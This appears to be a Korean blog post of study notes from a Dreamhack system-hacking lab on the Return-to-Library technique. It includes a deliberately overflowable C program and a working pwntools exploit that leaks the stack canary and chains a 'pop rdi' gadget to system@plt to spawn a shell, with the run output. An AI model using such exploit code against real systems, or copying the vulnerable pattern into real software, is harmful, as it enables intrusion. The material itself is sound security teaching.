반응형

지금까지 학습한 공격 기법과 보호 기법

  • Return Address Overwrite: 반환 주소를 악성 함수의 주소로 덮어서 셸 획득
  • Stack Canary: 스택 프레임의 반환 주소 전에 랜덤한 카나리를 주입하여 반환 주소를 덮기 어렵게 함
  • Return to Shellcode: 카나리를 우회하고, 셸 코드를 주입한 버퍼의 주소로 반환 주소를 덮어서 셸 획득
  • ASLR: 임의 버퍼의 주소를 알기 어렵게 함
  • NX: 각 세그먼트에 불필요한 실행권한을 제거함으로써 공격자가 임의 버퍼에 주입한 코드를 실행하기 어렵게 함

 

Return to Library

NX로 인해 공격자가 버퍼에 주입한 셸 코드를 실행하기는 어려워졌지만, 스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 여전히 가능했다.

→ 따라서 공격자들은 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법을 고안했다.

 

프로세스에 실행 권한이 있는 메모리 영역은 일반적으로 바이너리의 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역이다.

 

몇몇 라이브러리에는 공격에 유용한 함수들이 구현되어 있어, 공격자들은 libc의 함수들로 NX를 우회하고 셸을 획득하는 Return To Libc(=Return To Library) 공격 기법을 개발했다. 유사한 공격 기법으로 Return To PLT도 존재함

 

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

실습에 사용할 코드

 

 

분석

보호 기법

rtl의 보호기법

checksec 명령어로 다운로드한 바이너리에 적용된 보호 기법을 파악한다.

카나리가 존재하고, NX가 적용되어 있다. 또한 ASLR은 기본으로 적용되어 있다.

 

코드 분석

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}
  • “/bin/sh”를 코드 섹션에 추가
    •  ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, “/bin/sh”의 주소는 고정되어 있다.
  • system 함수를 PLT에 추가
    • PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다.
    • Return to PLT : ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다.
  • 버퍼 오버플로우
    • 두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있도록 작성되었다.

 

 

익스플로잇 설계

  1. 카나리 우회
    • 첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 구할 수 있다.
  2. rdi값을 "/bin/sh"의 주소로 설정 및 셸 획득
    • 카나리를 구했으면, 두 번째 입력으로 반환 주소를 덮을 수 있다.

“/bin/sh”의 주소를 알고 system 함수의 PLT 주소를 알면 system 함수를 호출할 수 있다.

 

리턴 가젯

리턴 가젯(Return gadget) : 다음과 같이 ret 명령어로 끝나는 어셈블리 코드 조각을 의미

pwntools 설치 시 함께 설치되는 ROPgadget 명령어를 사용해서 다음과 같이 가젯을 구할 수 있다.

리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 돕는다.

 

 

 rdi의 값을 “/bin/sh”의 주소로 설정하고, system 함수를 호출하기 위해

리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면, pop rdi rdi를 “/bin/sh”의 주소로 설정하고, 이어지는 ret system 함수를 호출할 수 있다.

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

대부분의 함수는 ret로 종료되므로, 함수들도 리턴 가젯으로 사용될 수 있다.

 

 

 

익스플로잇

카나리 우회

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

카나리 값은 0x24bd4a6c310a4800으로, 위의 스크립트로 구할 수 있다.

 

 

리턴 가젯 찾기

리턴 가젯을 찾는 방법은 다양하지만, 일반적으로 ROPgadget을 사용한다.

$ python3 -m pip install ROPgadget --user

ROPgadget은 pypi를 이용하여 간단히 설치할 수 있다.

 

다음 명령어로 설치가 정상적으로 이뤄졌음을 확인한다.

 

다음 명령어로 필요한 가젯을 찾아야 하는데 나는 다시 해봐도 나오지 않았다....

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

위와 같이 필요한 가젝을 찾는다.

--re 옵션을 사용하면 정규표현식으로 가젯을 필터링할 수 있다.

 

 

익스플로잇

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

다음과 같이 가젯을 구성하고, 실행하면 system(“/bin/sh”)를 실행할 수 있다.

 

main에 bp를 걸고 search로 “/bin/sh”의 주소를 확인한다.

 

pwndbg로는 확인이 안되면 system 함수의 PLT 주소는 pwntools의 API로 찾을 수 있다.

 

 

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)  # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

익스플로잇 코드

 

$ python3 rtl.py
[+] Starting local process './rtl': pid 4109
[*] '/home/dreamhack/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] canary: 0xf2e763e6faec3f00
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

스크립트를 실행했을 때, 다음과 같이 셸이 획득되면 성공하는 예제이다.

반응형

'Dreamhack > System Hacking' 카테고리의 다른 글

Exploit Tech: Return Oriented Programming  (0) 2024.05.29
Return to Library  (0) 2024.05.29
Background: Library - Static Link vs. Dynamic Link  (0) 2024.05.22
Mitigation: NX & ASLR  (0) 2024.05.22
ssp_001  (0) 2024.05.15